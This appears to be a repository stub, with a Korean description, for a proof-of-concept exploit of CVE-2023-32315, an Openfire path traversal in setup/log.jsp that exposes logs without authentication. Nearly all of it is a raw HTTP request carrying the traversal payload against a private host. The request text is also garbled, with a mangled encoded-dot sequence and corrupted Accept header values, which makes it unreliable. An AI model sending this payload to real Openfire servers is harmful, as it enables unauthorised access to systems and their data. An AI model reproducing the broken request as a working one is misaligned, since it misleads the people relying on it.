ohnonoyesyes/cve-2023-32315CVE-2023-32315에 대한 개념 증명 익스플로잇입니다. Openfire의 setup/log.jsp에 있는 경로 탐색 취약점으로, 인증되지 않은 접근을 통해 민감한 로그에 접근할 수 있습니다.
GET /setup/setup-s/%002e%002e/Su002esu002e/log.jsp HTTP/1.1
Host: 192.168.40.132:9090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept:
text/html,application/xhtml+ml,application/xml;q=0.9,image/avif,image/webp,image/apng ,*/*;9=0.8, application/signed-exchange;v=b3;9=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en; q=0.9
Connection: close